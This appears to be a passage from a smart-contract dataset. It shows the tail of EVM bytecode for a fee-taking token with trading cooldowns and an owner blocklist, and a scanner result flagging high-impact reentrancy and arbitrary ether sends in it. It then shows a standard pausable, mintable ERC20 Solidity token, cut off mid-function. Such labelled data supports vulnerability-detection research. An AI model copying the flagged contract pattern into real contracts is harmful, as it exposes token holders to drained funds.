ffffffffff1614611918576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190f90614053565b60405180910390fd5b60148054906101000a900460ff1615611966576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195d906140f3565b60405180910390fd5b6001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff0219169083151502179055506003600f60006101000a81548160ff021916908360ff1602179055506003600f60016101000a81548160ff021916908360ff160217905550565b6119dd611ba6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6190614053565b60405180910390fd5b60008111611aad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa490613fb3565b60405180910390fd5b611add6064611acf8369d3c21bcecceda1000000612b1390919063ffffffff16565b612b8e90919063ffffffff16565b600d819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600d54604051611b149190614133565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c15906140d3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8590613f73565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611d0f5760148054906101000a900460ff16611d0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0590613ff3565b60405180910390fd5b5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611ded9190614133565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e61906140b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed190613f13565b60405180910390fd5b60008111611f1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1490614073565b60405180910390fd5b611f25610e64565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611f935750611f63610e64565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561274057600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561203c5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61204557600080fd5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120f05750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156121465750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156124425760148054906101000a900460ff16612198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218f90613ff3565b60405180910390fd5b600d548111156121dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d490613f33565b60405180910390fd5b600e54811015612222576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221990614093565b60405180910390fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106122a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229a90613fd3565b60405180910390fd5b61012c426122b19190614292565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060b4426123019190614292565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061234e610eca565b9050600a548111156124405782601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a819055506123dc6123cd60646123bf600c5485612b1390919063ffffffff16565b612b8e90919063ffffffff16565b82612e6090919063ffffffff16565b600b819055507f1b23c40005f4d445a417325cc4cc2515cfbe529f49945aa04fec1d79ca3414d2600a54601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405161243792919061414e565b60405180910390a15b505b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612540576000600a819055506000601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f1b23c40005f4d445a417325cc4cc2515cfbe529f49945aa04fec1d79ca3414d2600a54601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405161253792919061414e565b60405180910390a15b600061254b30610cb6565b9050601460159054906101000a900460ff161580156125b85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156125d05750601460169054906101000a900460ff165b1561273e5742600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612656576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161264d90614013565b60405180910390fd5b6000612660610eca565b9050600b548110156126bf576000600a819055506000601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600b819055505b6126c882612bd8565b600047905060008111801561272c5750600073ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b1561273b5761273a47612894565b5b50505b505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806127e75750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156127f157600090505b6127fd84848484612867565b50505050565b600083831115829061284b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128429190613ef1565b60405180910390fd5b506000838561285a9190614373565b9050809150509392505050565b8061287557612874612eaa565b5b612880848484612f77565b8061288e5761288d613142565b5b50505050565b60006128bd60646128af603285612b1390919063ffffffff16565b612b8e90919063ffffffff16565b9050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612927573d6000803e3d6000fd5b50600f60049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61298b606461297d602187612b1390919063ffffffff16565b612b8e90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156129b6573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612a1a6064612a0c601187612b1390919063ffffffff16565b612b8e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612a45573d6000803e3d6000fd5b507ff216c5a19ba763042d4173173c292c1ab6c832bf11105799bcd3cba27d85f28681601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051612a9992919061414e565b60405180910390a15050565b6000600854821115612aec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ae390613f53565b60405180910390fd5b6000612af6613198565b9050612b0b8184612b8e90919063ffffffff16565b915050919050565b600080831415612b265760009050612b88565b60008284612b349190614319565b9050828482612b4391906142e8565b14612b83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b7a90614033565b60405180910390fd5b809150505b92915050565b6000612bd083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506131c3565b905092915050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612c1057612c0f6145e4565b5b604051908082528060200260200182016040528015612c3e5781602001602082028036833780820191505090505b5090503081600081518110612c5657612c556145b5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612cf857600080fd5b505afa158015612d0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d3091906137a6565b81600181518110612d4457612d436145b5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612dab30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611bae565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612e0f959493929190614177565b600060405180830381600087803b158015612e2957600080fd5b505af1158015612e3d573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b6000612ea283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612803565b905092915050565b6000600f60009054906101000a900460ff1660ff16148015612ede57506000600f60019054906101000a900460ff1660ff16145b15612ee857612f75565b600f60009054906101000a900460ff16600f60026101000a81548160ff021916908360ff160217905550600f60019054906101000a900460ff16600f60036101000a81548160ff021916908360ff1602179055506000600f60006101000a81548160ff021916908360ff1602179055506000600f60016101000a81548160ff021916908360ff1602179055505b565b600080600080600080612f8987613226565b955095509550955095509550612fe786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e6090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061307c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132ae90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130c88161330c565b6130d284836133c9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161312f9190614133565b60405180910390a3505050505050505050565b600f60029054906101000a900460ff16600f60006101000a81548160ff021916908360ff160217905550600f60039054906101000a900460ff16600f60016101000a81548160ff021916908360ff160217905550565b60008060006131a5613403565b915091506131bc8183612b8e90919063ffffffff16565b9250505090565b6000808311829061320a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132019190613ef1565b60405180910390fd5b506000838561321991906142e8565b9050809150509392505050565b60008060008060008060008060006132638a600f60019054906101000a900460ff1660ff16600f60009054906101000a900460ff1660ff16613468565b9250925092506000613273613198565b905060008060006132868e8787876134fe565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60008082846132bd9190614292565b905083811015613302576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132f990613f93565b60405180910390fd5b8091505092915050565b6000613316613198565b9050600061332d8284612b1390919063ffffffff16565b905061338181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132ae90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6133de82600854612e6090919063ffffffff16565b6008819055506133f9816009546132ae90919063ffffffff16565b6009819055505050565b60008060006008549050600069d3c21bcecceda1000000905061343b69d3c21bcecceda1000000600854612b8e90919063ffffffff16565b82101561345b5760085469d3c21bcecceda1000000935093505050613464565b81819350935050505b9091565b6000806000806134946064613486888a612b1390919063ffffffff16565b612b8e90919063ffffffff16565b905060006134be60646134b0888b612b1390919063ffffffff16565b612b8e90919063ffffffff16565b905060006134e7826134d9858c612e6090919063ffffffff16565b612e6090919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806135178589612b1390919063ffffffff16565b9050600061352e8689612b1390919063ffffffff16565b905060006135458789612b1390919063ffffffff16565b9050600061356e826135608587612e6090919063ffffffff16565b612e6090919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061359a61359584614211565b6141ec565b905080838252602082019050828560208602820111156135bd576135bc61461d565b5b60005b858110156135ed57816135d388826135f7565b8452602084019350602083019250506001810190506135c0565b5050509392505050565b60008135905061360681614a00565b92915050565b60008151905061361b81614a00565b92915050565b60008135905061363081614a17565b92915050565b60008083601f84011261364c5761364b614618565b5b8235905067ffffffffffffffff81111561366957613668614613565b5b6020830191508360208202830111156136855761368461461d565b5b9250929050565b600082601f8301126136a1576136a0614618565b5b81356136b1848260208601613587565b91505092915050565b60008083601f8401126136d0576136cf614618565b5b8235905067ffffffffffffffff8111156136ed576136ec614613565b5b6020830191508360208202830111156137095761370861461d565b5b9250929050565b60008151905061371f81614a2e565b92915050565b60008151905061373481614a45565b92915050565b60008135905061374981614a5c565b92915050565b60008151905061375e81614a5c565b92915050565b60008151905061377381614a73565b92915050565b60006020828403121561378f5761378e614627565b5b600061379d848285016135f7565b91505092915050565b6000602082840312156137bc576137bb614627565b5b60006137ca8482850161360c565b91505092915050565b6000602082840312156137e9576137e8614627565b5b60006137f784828501613621565b91505092915050565b6000806040838503121561381757613816614627565b5b6000613825858286016135f7565b9250506020613836858286016135f7565b9150509250929050565b60008060006060848603121561385957613858614627565b5b6000613867868287016135f7565b9350506020613878868287016135f7565b92505060406138898682870161373a565b9150509250925092565b600080604083850312156138aa576138a9614627565b5b60006138b8858286016135f7565b92505060206138c98582860161373a565b9150509250929050565b600080600080604085870312156138ed576138ec614627565b5b600085013567ffffffffffffffff81111561390b5761390a614622565b5b61391787828801613636565b9450945050602085013567ffffffffffffffff81111561393a57613939614622565b5b613946878288016136ba565b925092505092959194509250565b60006020828403121561396a57613969614627565b5b600082013567ffffffffffffffff81111561398857613987614622565b5b6139948482850161368c565b91505092915050565b6000602082840312156139b3576139b2614627565b5b60006139c184828501613710565b91505092915050565b6000806000606084860312156139e3576139e2614627565b5b60006139f186828701613725565b9350506020613a0286828701613725565b9250506040613a1386828701613764565b9150509250925092565b600060208284031215613a3357613a32614627565b5b6000613a418482850161373a565b91505092915050565b600080600060608486031215613a6357613a62614627565b5b6000613a718682870161374f565b9350506020613a828682870161374f565b9250506040613a938682870161374f565b9150509250925092565b6000613aa98383613ac4565b60208301905092915050565b613abe81614438565b82525050565b613acd816143a7565b82525050565b613adc816143a7565b82525050565b6000613aed8261424d565b613af78185614270565b9350613b028361423d565b8060005b83811015613b33578151613b1a8882613a9d565b9750613b2583614263565b925050600181019050613b06565b5085935050505092915050565b613b49816143cb565b82525050565b613b588161444a565b82525050565b6000613b6982614258565b613b738185614281565b9350613b83818560208601614480565b613b8c8161462c565b840191505092915050565b6000613ba4602383614281565b9150613baf8261463d565b604082019050919050565b6000613bc7602083614281565b9150613bd28261468c565b602082019050919050565b6000613bea602a83614281565b9150613bf5826146b5565b604082019050919050565b6000613c0d602283614281565b9150613c1882614704565b604082019050919050565b6000613c30601b83614281565b9150613c3b82614753565b602082019050919050565b6000613c53601d83614281565b9150613c5e8261477c565b602082019050919050565b6000613c76601583614281565b9150613c81826147a5565b602082019050919050565b6000613c99601483614281565b9150613ca4826147ce565b602082019050919050565b6000613cbc601083614281565b9150613cc7826147f7565b602082019050919050565b6000613cdf602183614281565b9150613cea82614820565b604082019050919050565b6000613d02602083614281565b9150613d0d8261486f565b602082019050919050565b6000613d25602983614281565b9150613d3082614898565b604082019050919050565b6000613d48601e83614281565b9150613d53826148e7565b602082019050919050565b6000613d6b602583614281565b9150613d7682614910565b604082019050919050565b6000613d8e602483614281565b9150613d998261495f565b604082019050919050565b6000613db1601783614281565b9150613dbc826149ae565b602082019050919050565b6000613dd4601283614281565b9150613ddf826149d7565b602082019050919050565b613df381614411565b82525050565b613e028161442b565b82525050565b6000602082019050613e1d6000830184613ad3565b92915050565b6000604082019050613e386000830185613ad3565b613e456020830184613ad3565b9392505050565b6000604082019050613e616000830185613ad3565b613e6e6020830184613dea565b9392505050565b600060c082019050613e8a6000830189613ad3565b613e976020830188613dea565b613ea46040830187613b4f565b613eb16060830186613b4f565b613ebe6080830185613ad3565b613ecb60a0830184613dea565b979650505050505050565b6000602082019050613eeb6000830184613b40565b92915050565b60006020820190508181036000830152613f0b8184613b5e565b905092915050565b60006020820190508181036000830152613f2c81613b97565b9050919050565b60006020820190508181036000830152613f4c81613bba565b9050919050565b60006020820190508181036000830152613f6c81613bdd565b9050919050565b60006020820190508181036000830152613f8c81613c00565b9050919050565b60006020820190508181036000830152613fac81613c23565b9050919050565b60006020820190508181036000830152613fcc81613c46565b9050919050565b60006020820190508181036000830152613fec81613c69565b9050919050565b6000602082019050818103600083015261400c81613c8c565b9050919050565b6000602082019050818103600083015261402c81613caf565b9050919050565b6000602082019050818103600083015261404c81613cd2565b9050919050565b6000602082019050818103600083015261406c81613cf5565b9050919050565b6000602082019050818103600083015261408c81613d18565b9050919050565b600060208201905081810360008301526140ac81613d3b565b9050919050565b600060208201905081810360008301526140cc81613d5e565b9050919050565b600060208201905081810360008301526140ec81613d81565b9050919050565b6000602082019050818103600083015261410c81613da4565b9050919050565b6000602082019050818103600083015261412c81613dc7565b9050919050565b60006020820190506141486000830184613dea565b92915050565b60006040820190506141636000830185613dea565b6141706020830184613ab5565b9392505050565b600060a08201905061418c6000830188613dea565b6141996020830187613b4f565b81810360408301526141ab8186613ae2565b90506141ba6060830185613ad3565b6141c76080830184613dea565b9695505050505050565b60006020820190506141e66000830184613df9565b92915050565b60006141f6614207565b905061420282826144b3565b919050565b6000604051905090565b600067ffffffffffffffff82111561422c5761422b6145e4565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061429d82614411565b91506142a883614411565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156142dd576142dc614557565b5b828201905092915050565b60006142f382614411565b91506142fe83614411565b92508261430e5761430d614586565b5b828204905092915050565b600061432482614411565b915061432f83614411565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561436857614367614557565b5b828202905092915050565b600061437e82614411565b915061438983614411565b92508282101561439c5761439b614557565b5b828203905092915050565b60006143b2826143f1565b9050919050565b60006143c4826143f1565b9050919050565b60008115159050919050565b60006dffffffffffffffffffffffffffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006144438261445c565b9050919050565b600061445582614411565b9050919050565b60006144678261446e565b9050919050565b6000614479826143f1565b9050919050565b60005b8381101561449e578082015181840152602081019050614483565b838111156144ad576000848401525b50505050565b6144bc8261462c565b810181811067ffffffffffffffff821117156144db576144da6145e4565b5b80604052505050565b60006144ef82614411565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561452257614521614557565b5b600182019050919050565b60006145388261442b565b915060ff82141561454c5761454b614557565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f42757920616d6f756e742065786365656473206d617820545820616d6f756e74600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f427579696e6720616761696e20746f6f20736f6f6e0000000000000000000000600082015250565b7f54726164696e67206e6f74206f70656e20796574000000000000000000000000600082015250565b7f53656c6c696e6720746f6f20736f6f6e00000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f42757920616d6f756e7420756e646572206d696e20545820616d6f756e740000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f74726164696e672069736e2774206f70656e0000000000000000000000000000600082015250565b614a09816143a7565b8114614a1457600080fd5b50565b614a20816143b9565b8114614a2b57600080fd5b50565b614a37816143cb565b8114614a4257600080fd5b50565b614a4e816143d7565b8114614a5957600080fd5b50565b614a6581614411565b8114614a7057600080fd5b50565b614a7c8161441b565b8114614a8757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205e1ec127a8888e0231280ef15191fb921f3bf108191e7f1d41f367e3e9550ead64736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,066 |
0xeec2cbf6036ffd05fd9a56aa6e229c1037fd24c5
|
pragma solidity ^0.4.13;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
